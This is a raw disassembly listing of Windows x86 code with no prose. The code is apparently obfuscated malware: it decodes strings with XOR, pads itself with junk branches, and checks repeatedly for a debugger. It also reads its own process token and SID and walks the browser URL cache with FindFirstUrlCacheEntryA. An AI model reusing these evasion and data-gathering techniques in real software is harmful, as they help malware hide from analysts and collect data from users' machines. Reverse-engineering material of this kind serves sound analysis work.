		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		mov	eax, dword_441260
		mov	[ebp-112h], eax
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40C6D4	; DATA XREF: sub_43F142+12o
		add	esp, 24h


loc_404A3E:				; CODE XREF: sub_40479E+1F4j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404A66
		push	2
		push	offset aBj	; "¡¦"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404A66:				; CODE XREF: sub_40479E+2B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40479E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A6B	proc near		; CODE XREF: sub_4056EE+1A5p
					; sub_4056EE+1C8p ...

var_115		= byte ptr -115h
var_10D		= byte ptr -10Dh
var_107		= byte ptr -107h
var_104		= word ptr -104h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_104], 7A29h
		add	[ebp+var_104], 764h
		push	[ebp+arg_4]
		push	ebx
		call	sub_40C6D4
		add	esp, 8
		lea	edi, [ebp+var_107]
		lea	esi, byte_441264
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404C50
		lea	edi, [ebp+var_115]
		lea	esi, aHSl?2	; "h&sL?2*"
		movsd
		movsd
		mov	[ebp+var_FF], 0
		push	5
		push	offset aRnbbm	; "Œ"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h
		mov	[ebp+var_10D], 0
		jmp	loc_404C1A
sub_404A6B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404BA0


loc_404AF6:				; CODE XREF: sub_404BA0+82j
		call	sub_40C1B8	; RtlGetLastWin32Error
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404B4F
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-11Ch], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-11Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		add	esp, 18h


loc_404B4F:				; CODE XREF: sub_404BA0-95j
		call	sub_40C194	; GetCurrentThreadId
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404BA8
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-120h], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
; END OF FUNCTION CHUNK	FOR sub_404BA0

; =============== S U B	R O U T	I N E =======================================



sub_404B85	proc near		; DATA XREF: .data:0043F39Eo
					; .data:0043F3C5o ...
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-120h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
sub_404B85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404BA0	proc near		; DATA XREF: sub_43F142+143o

; FUNCTION CHUNK AT 00404AF6 SIZE 0000008F BYTES

		call	sub_40C6B0
		add	esp, 18h


loc_404BA8:				; CODE XREF: sub_404BA0-3Cj
		mov	word ptr [ebp-118h], 2BA1h
		sub	word ptr [ebp-118h], 3212h
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 7
		jge	short loc_404C0E
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-124h], eax
		call	sub_40C698
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-124h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		add	esp, 18h


loc_404C0E:				; CODE XREF: sub_404BA0+2Aj
		call	sub_40C188	; GetCurrentProcessId
		add	byte ptr [ebp-10Dh], 1


loc_404C1A:				; CODE XREF: sub_404A6B+86j
		mov	al, [ebp-10Dh]
		cmp	al, 0Ah
		jb	loc_404AF6
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40C6D4
		push	4
		push	offset aBbtm	; "’Œ"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 18h
		call	sub_40C2B4	; IsDebuggerPresent


loc_404C50:				; CODE XREF: sub_404A6B+4Ej
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404DCA
		call	sub_40C218	; GetTickCount
		mov	byte ptr [ebp-0FFh], 0
		call	sub_40C1F4	; GetProcessHeap
		mov	byte ptr [ebp-10Dh], 0
		jmp	loc_404D9F
sub_404BA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404D49


loc_404C83:				; CODE XREF: sub_404D49+5Ej
		mov	dword ptr [ebp-114h], 59DAh
		add	dword ptr [ebp-114h], 6509h
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404CEB
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-118h], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-118h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		add	esp, 18h


loc_404CEB:				; CODE XREF: sub_404D49-A2j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404D3F
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-11Ch], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-11Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
; END OF FUNCTION CHUNK	FOR sub_404D49

; =============== S U B	R O U T	I N E =======================================



sub_404D3C	proc near		; DATA XREF: .data:0043EF84o
		add	esp, 18h


loc_404D3F:				; CODE XREF: sub_404D49-4Ej
		call	sub_40C2B4	; IsDebuggerPresent
		call	sub_40C698
sub_404D3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D49	proc near		; DATA XREF: .data:0043EF2Ao

; FUNCTION CHUNK AT 00404C83 SIZE 000000B9 BYTES

		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_404D98
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-120h], eax
		call	sub_40C698
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-120h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		add	esp, 18h


loc_404D98:				; CODE XREF: sub_404D49+Bj
		add	byte ptr [ebp-10Dh], 1


loc_404D9F:				; CODE XREF: sub_404BA0+DEj
		mov	al, [ebp-10Dh]
		cmp	al, 32h
		jb	loc_404C83
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 8
		mov	ax, word_44126D
		mov	[ebp-10Fh], ax


loc_404DCA:				; CODE XREF: sub_404BA0+C0j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404DF2
		push	4
		push	offset aRT	; "ÎÞ’"
sub_404D49	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404DE3	proc near		; DATA XREF: sub_43E2F0+6o
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404DF2:				; CODE XREF: sub_404D49+91j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E1A
		push	3
		push	offset aRT_4	; "Î’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404E1A:				; CODE XREF: sub_404DE3+1Fj
		call	sub_40C194	; GetCurrentThreadId
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E47
		push	3
		push	offset aRT_3	; "Ù’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404E47:				; CODE XREF: sub_404DE3+4Cj
		mov	word ptr [ebp-102h], 642Bh
		movzx	eax, word ptr [ebp-102h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-102h], ax
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E8C
		push	3
		push	offset aRT_1	; "Å’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404E8C:				; CODE XREF: sub_404DE3+91j
		call	sub_40C1B8	; RtlGetLastWin32Error
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404EB9
		push	4
		push	offset aRgT	; "ƒÅ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404EB9:				; CODE XREF: sub_404DE3+BEj
		lea	edi, [ebp-10Ch]
		lea	esi, aUwV	; "uW V"
		mov	ecx, 5
		rep movsb
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404EF4
		push	4
		push	offset aRgT_0	; "ƒÎ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404EF4:				; CODE XREF: sub_404DE3+F9j
		call	sub_40C1B8	; RtlGetLastWin32Error
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404F21
		push	4
		push	offset aRgT_1	; "ƒÙ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404F21:				; CODE XREF: sub_404DE3+126j
		call	sub_40C218	; GetTickCount
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404F4E
		push	7
		push	offset aRgT_2	; "ƒÊÃÂØ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404F4E:				; CODE XREF: sub_404DE3+153j
		mov	word ptr [ebp-106h], 3E5Ch
		sub	word ptr [ebp-106h], 60FEh
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404F88
		push	8
		push	offset aRT_0	; "ÏÉÂØÉÞ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404F88:				; CODE XREF: sub_404DE3+18Dj
		call	sub_40C218	; GetTickCount
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404FB5
		push	9
		push	offset aRgT_3	; "ƒÏÉÂØÉÞ’"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404FB5:				; CODE XREF: sub_404DE3+1BAj
		call	sub_40C2B4	; IsDebuggerPresent
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404FE2
		push	2
		push	offset aBj	; "¡¦"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h


loc_404FE2:				; CODE XREF: sub_404DE3+1E7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404DE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_40507F+5Ap
					; sub_40507F+8Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44127C
		lea	eax, ds:435150h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_405028
; ---------------------------------------------------------------------------


loc_40500E:				; CODE XREF: sub_404FE7+43j
		mov	eax, dword_44127C
		add	eax, edi
		lea	eax, ds:435150h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0ACh
		mov	[eax], dl
		inc	edi


loc_405028:				; CODE XREF: sub_404FE7+25j
		cmp	edi, esi
		jl	short loc_40500E
		mov	[ebp+var_4], 12Ch
		mov	eax, dword_44127C
		add	eax, esi
		mov	byte ptr ds:dword_435150[eax], 0
		xor	edi, edi
		mov	edi, dword_44127C
		add	dword_44127C, 2
		mov	eax, dword_44127C
		add	eax, 6
		add	eax, esi
		mov	dword_44127C, eax
		cmp	eax, 0E01h
		jle	short loc_40506E
		and	dword_44127C, 0


loc_40506E:				; CODE XREF: sub_404FE7+7Ej
		mov	[ebp+var_8], 2EEh
		lea	eax, dword_435150[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40507F	proc near		; CODE XREF: sub_405217+80p

var_2C		= dword	ptr -2Ch
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C188	; GetCurrentProcessId
		lea	edi, [ebp+var_1C]
		lea	esi, aAKS_0	; "A k	&s"
		movsd
		movsd
		xor	ebx, ebx
		inc	ebx
		push	[ebp+arg_0]
		call	sub_40C5FC	; GetSidIdentifierAuthority
		mov	[ebp+var_14], eax
		mov	eax, dword_441288
		mov	[ebp+var_20], eax
		push	[ebp+arg_0]
		call	sub_40C614	; GetSidSubAuthorityCount
		movzx	edi, byte ptr [eax]
		mov	[ebp+var_10], edi
		mov	eax, 0Ch
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		add	eax, 1Ch
		mov	[ebp+var_C], eax
		call	sub_40C218	; GetTickCount
		push	6
		push	offset byte_44630B
		call	sub_404FE7
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	sub_40C4E8	; wsprintfA
		add	esp, 14h
		mov	[ebp+var_C], eax
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_14]
		cmp	byte ptr [eax],	0
		jnz	short loc_405102
		cmp	byte ptr [eax+1], 0
		jz	short loc_405160


loc_405102:				; CODE XREF: sub_40507F+7Bj
		call	sub_40C2B4	; IsDebuggerPresent
		push	20h
		push	offset aIUIUIUIUIUIU ; "œÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ"
		call	sub_404FE7
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+4]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+3]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+2]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+1]
		movzx	esi, si
		push	esi
		movzx	edi, byte ptr [edi]
		movzx	edi, di
		push	edi
		push	eax
		push	[ebp+var_8]
		call	sub_40C4E8	; wsprintfA
		add	esp, 28h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		jmp	short loc_4051BC
; ---------------------------------------------------------------------------


loc_405160:				; CODE XREF: sub_40507F+81j
		mov	[ebp+var_26], 5E65h
		movzx	eax, [ebp+var_26]
		imul	eax, 686Ah
		mov	[ebp+var_26], ax
		push	3
		push	offset aI_2	; "‰ÀÙ"
		call	sub_404FE7
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	edx, byte ptr [edi+4]
		shl	edx, 8
		add	esi, edx
		movzx	edx, byte ptr [edi+3]
		shl	edx, 10h
		add	esi, edx
		movzx	edi, byte ptr [edi+2]
		shl	edi, 18h
		add	esi, edi
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_40C4E8	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax


loc_4051BC:				; CODE XREF: sub_40507F+DFj
		and	[ebp+var_4], 0
		jmp	short loc_40520A
; ---------------------------------------------------------------------------


loc_4051C2:				; CODE XREF: sub_40507F+191j
		mov	byte ptr [ebp+var_26+1], 58h
		add	byte ptr [ebp+var_26+1], 1
		push	4
		push	offset aBi	; "‰ÀÙ"
		call	sub_404FE7
		mov	[ebp+var_2C], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40C608	; GetSidSubAuthority
		push	dword ptr [eax]
		mov	edi, [ebp+var_2C]
		push	edi
		push	[ebp+var_8]
		call	sub_40C4E8	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		call	sub_40C218	; GetTickCount
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		inc	[ebp+var_4]


loc_40520A:				; CODE XREF: sub_40507F+141j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_4], eax
		jb	short loc_4051C2
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40507F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405217	proc near		; CODE XREF: sub_406081+20Dp

var_10		= byte ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	[ebp+var_1], 0B5h
		movzx	eax, [ebp+var_1]
		imul	eax, 5C59h
		mov	[ebp+var_1], al
		call	sub_40C188	; GetCurrentProcessId
		mov	edi, eax
		push	edi
		push	0
		push	1F0FFFh
		call	sub_40C2F0	; OpenProcess
		mov	edi, eax
		call	sub_40C1F4	; GetProcessHeap
		lea	eax, [ebp+var_8] ; DATA	XREF: sub_43F54Dr
		push	eax
		push	0F00FFh		; DATA XREF: sub_43F559r
		push	edi


loc_405254:				; DATA XREF: sub_43F565r sub_43F571r
		call	sub_40C584	; OpenProcessToken
		push	edi
		call	sub_40C1DC	; DATA XREF: sub_43F57Dr
		call	sub_40C188	; DATA XREF: sub_43F589r


loc_405264:				; DATA XREF: sub_43F595r sub_43F5A1r
		mov	eax, dword_441278
		add	eax, 3FF1h	; DATA XREF: sub_43F5ADr
		push	eax
		push	40h		; DATA XREF: sub_43F5B9r
		call	sub_40C2CC	; DATA XREF: sub_43F5C5r
		mov	edi, eax


loc_405278:				; DATA XREF: sub_43F5D1r
		lea	eax, [ebp+var_10]
		push	eax


loc_40527C:				; DATA XREF: sub_43F5DDr sub_43F5E9r
		mov	eax, dword_441278
		add	eax, 3FF1h	; DATA XREF: sub_43F5F5r
		push	eax
		push	edi
		push	1
		push	[ebp+var_8]
		call	sub_40C590	; DATA XREF: sub_43F601r
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40507F


loc_40529C:				; DATA XREF: sub_43F60Dr
		add	esp, 8
		mov	[ebp+var_A], 764h
		movzx	eax, [ebp+var_A] ; DATA	XREF: sub_43F6C9r
		imul	eax, 5860h	; DATA XREF: sub_43F6D5r
		mov	[ebp+var_A], ax	; DATA XREF: sub_43F6E1r
		push	edi


loc_4052B4:				; DATA XREF: sub_43F6EDr sub_43F6F9r
		call	sub_40C2D8	; LocalFree
		call	sub_40C194	; DATA XREF: sub_43F705r
		push	[ebp+var_8]	; DATA XREF: sub_43F711r
		call	sub_40C1DC	; DATA XREF: sub_43F71Dr
		call	sub_40C2B4	; DATA XREF: sub_43F729r
		pop	edi

locret_4052CC:				; DATA XREF: sub_43F735r
		leave
		retn
sub_405217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052CE	proc near		; CODE XREF: sub_405409+4Fp
					; sub_405409+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp	; DATA XREF: sub_43F741r
		push	ecx
		push	esi
		push	edi


loc_4052D4:				; DATA XREF: sub_43F74Dr
		mov	esi, [ebp+arg_4]
		push	esi


loc_4052D8:				; DATA XREF: sub_43F759r
		push	[ebp+arg_0]
		mov	eax, dword_441294 ; DATA XREF: sub_43F765r


loc_4052E0:				; DATA XREF: sub_43F771r sub_43F77Dr
		lea	eax, ds:418410h[eax]
		push	eax


loc_4052E8:				; DATA XREF: sub_43F789r sub_43F795r
		call	sub_40C674
		add	esp, 0Ch


loc_4052F0:				; DATA XREF: sub_43F7A1r sub_43F7ADr
		mov	[ebp+var_4], 52h
		xor	edi, edi	; DATA XREF: sub_43F7B9r
		jmp	short loc_405315
; ---------------------------------------------------------------------------


loc_4052FB:				; CODE XREF: sub_4052CE+49j
		mov	eax, dword_441294
		add	eax, edi
		lea	eax, ds:418410h[eax] ; DATA XREF: sub_43F7C5r
					; sub_43F7D1r
		movsx	edx, byte ptr [eax]


loc_40530C:				; DATA XREF: sub_43F7DDr sub_43F7E9r
		xor	edx, 0A7h
		mov	[eax], dl


loc_405314:				; DATA XREF: sub_43F7F5r
		inc	edi


loc_405315:				; CODE XREF: sub_4052CE+2Bj
		cmp	edi, esi
		jl	short loc_4052FB ; DATA	XREF: sub_43F801r
		mov	eax, dword_441294 ; DATA XREF: sub_43F80Dr
		add	eax, esi


loc_405320:				; DATA XREF: sub_43F819r sub_43F825r
		mov	byte ptr ds:dword_418410[eax], 0
		xor	edi, edi
		mov	edi, dword_441294


loc_405330:				; DATA XREF: sub_43F831r sub_43F83Dr
		add	dword_441294, 2
		mov	eax, dword_441294 ; DATA XREF: sub_43F849r


loc_40533C:				; DATA XREF: sub_43F855r
		lea	eax, [eax+esi+5]


loc_405340:				; DATA XREF: sub_43F861r sub_43F86Dr
		mov	dword_441294, eax
		inc	dword_441294	; DATA XREF: sub_43F879r
		cmp	dword_441294, 0DD6h ; DATA XREF: sub_43F885r
					; sub_43F891r ...
		jle	short loc_40535E
		and	dword_441294, 0	; DATA XREF: sub_43F8A9r


loc_40535E:				; CODE XREF: sub_4052CE+87j
		lea	eax, dword_418410[edi]


loc_405364:				; DATA XREF: sub_43F8B5r
		pop	edi
		pop	esi
		leave
		retn
sub_4052CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405368	proc near		; CODE XREF: sub_4063A9+46Ap
					; sub_4063A9+487p
					; DATA XREF: ...

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_8		= byte ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h	; DATA XREF: sub_43F8CDr
		push	ebx
		push	esi


loc_405370:				; DATA XREF: sub_43F8D9r
		push	edi
		lea	edi, [ebp+var_3]


loc_405374:				; DATA XREF: sub_43F8E5r sub_43F8F1r
		lea	esi, byte_44129C
		xor	ecx, ecx


loc_40537C:				; DATA XREF: sub_43F8FDr
		inc	ecx
		rep movsb
		lea	edi, [ebp+var_D] ; DATA	XREF: sub_43F909r
		lea	esi, aARc	; DATA XREF: j_aARcr
					; "a`rc"


loc_405388:				; DATA XREF: sub_43F921r sub_43F92Dr
		mov	ecx, 5
		rep movsb
		push	0		; DATA XREF: sub_43F939r
		push	80h		; DATA XREF: sub_43F945r
		push	4


loc_405398:				; DATA XREF: sub_43F951r
		push	0
		push	0
		push	0C0000000h
		push	[ebp+arg_0]
		call	sub_40C2FC	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_2], 5481h
		sub	[ebp+var_2], 4D02h
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4053C0
		xor	eax, eax
		jmp	short loc_405404
; ---------------------------------------------------------------------------


loc_4053C0:				; CODE XREF: sub_405368+52j
		call	sub_40C1F4	; GetProcessHeap
		push	2
		push	0
		push	0
		push	ebx
		call	sub_40C32C	; SetFilePointer
		lea	edi, [ebp+var_E]
		lea	esi, byte_4412A2
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_40C3B0	; WriteFile
		call	sub_40C224	; GetVersion
		push	ebx
		call	sub_40C1DC	; CloseHandle
		call	sub_40C218	; GetTickCount
		xor	eax, eax
		inc	eax


loc_405404:				; CODE XREF: sub_405368+56j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405409	proc near		; CODE XREF: sub_4063A9+3CEp

var_2F5D	= byte ptr -2F5Dh
var_2F5C	= byte ptr -2F5Ch
var_2F5B	= byte ptr -2F5Bh
var_2F5A	= word ptr -2F5Ah
var_2F58	= dword	ptr -2F58h
var_2F51	= byte ptr -2F51h
var_2F50	= byte ptr -2F50h
var_2F48	= word ptr -2F48h
var_2F46	= word ptr -2F46h
var_2F43	= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
var_1F3C	= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F60h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		lea	edi, [ebp+var_2F50]
		lea	esi, byte_4412A3
		movsd
		movsd
		lea	edi, [ebp+var_2F51]
		lea	esi, byte_4412AB
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F43]
		push	eax
		call	sub_40C138
		call	sub_40C2B4	; IsDebuggerPresent
		push	1
		push	offset aS	; "˜"
		call	sub_4052CE
		mov	edi, 0Bh
		sub	edi, dword_441290
		push	edi
		push	eax
		lea	edi, [ebp+var_2F43]
		push	edi
		call	sub_40181E
		add	esp, 14h
		mov	edi, eax
		mov	[ebp+var_2F48],	di
		movzx	eax, [ebp+var_2F48]
		cmp	eax, 0FFFFh
		jz	short loc_40549F
		movzx	eax, [ebp+var_2F48]
		mov	[ebp+eax+var_2F43], 0


loc_40549F:				; CODE XREF: sub_405409+85j
		call	sub_40C194	; GetCurrentThreadId
		mov	[ebp+var_1F44],	1F40h
		call	sub_40C218	; GetTickCount
		push	3
		push	offset aNin	; "‰"
		call	sub_4052CE
		add	esp, 8
		lea	edi, [ebp+var_1F44]
		push	edi
		lea	edi, [ebp+var_1F40]
		push	edi
		push	eax
		call	sub_40B698	; FindFirstUrlCacheEntryA
		mov	ebx, eax
		or	eax, eax
		jz	loc_4055FB
		mov	[ebp+var_2F46],	174Fh
		movzx	eax, [ebp+var_2F46]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2F46],	ax
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40C644
		add	esp, 8
		or	eax, eax
		jnz	short loc_405536
		call	sub_40C224	; GetVersion
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C138
		call	sub_40C224	; GetVersion
		xor	eax, eax
		inc	eax
		jmp	loc_4055FB
; ---------------------------------------------------------------------------


loc_405536:				; CODE XREF: sub_405409+10Bj
					; sub_405409:loc_4055F4j
		mov	[ebp+var_2F5B],	0DEh
		add	[ebp+var_2F5B],	3Dh
		mov	[ebp+var_1F44],	1F40h
		mov	[ebp+var_2F58],	7B4Bh
		mov	eax, [ebp+var_2F58]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2F58],	edx
		lea	eax, [ebp+var_1F44]
		push	eax
		lea	eax, [ebp+var_1F40]
		push	eax
		push	ebx
		call	sub_40B6A4	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_4055F9
		mov	[ebp+var_2F5A],	42E5h
		movzx	eax, [ebp+var_2F5A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2F5A],	ax
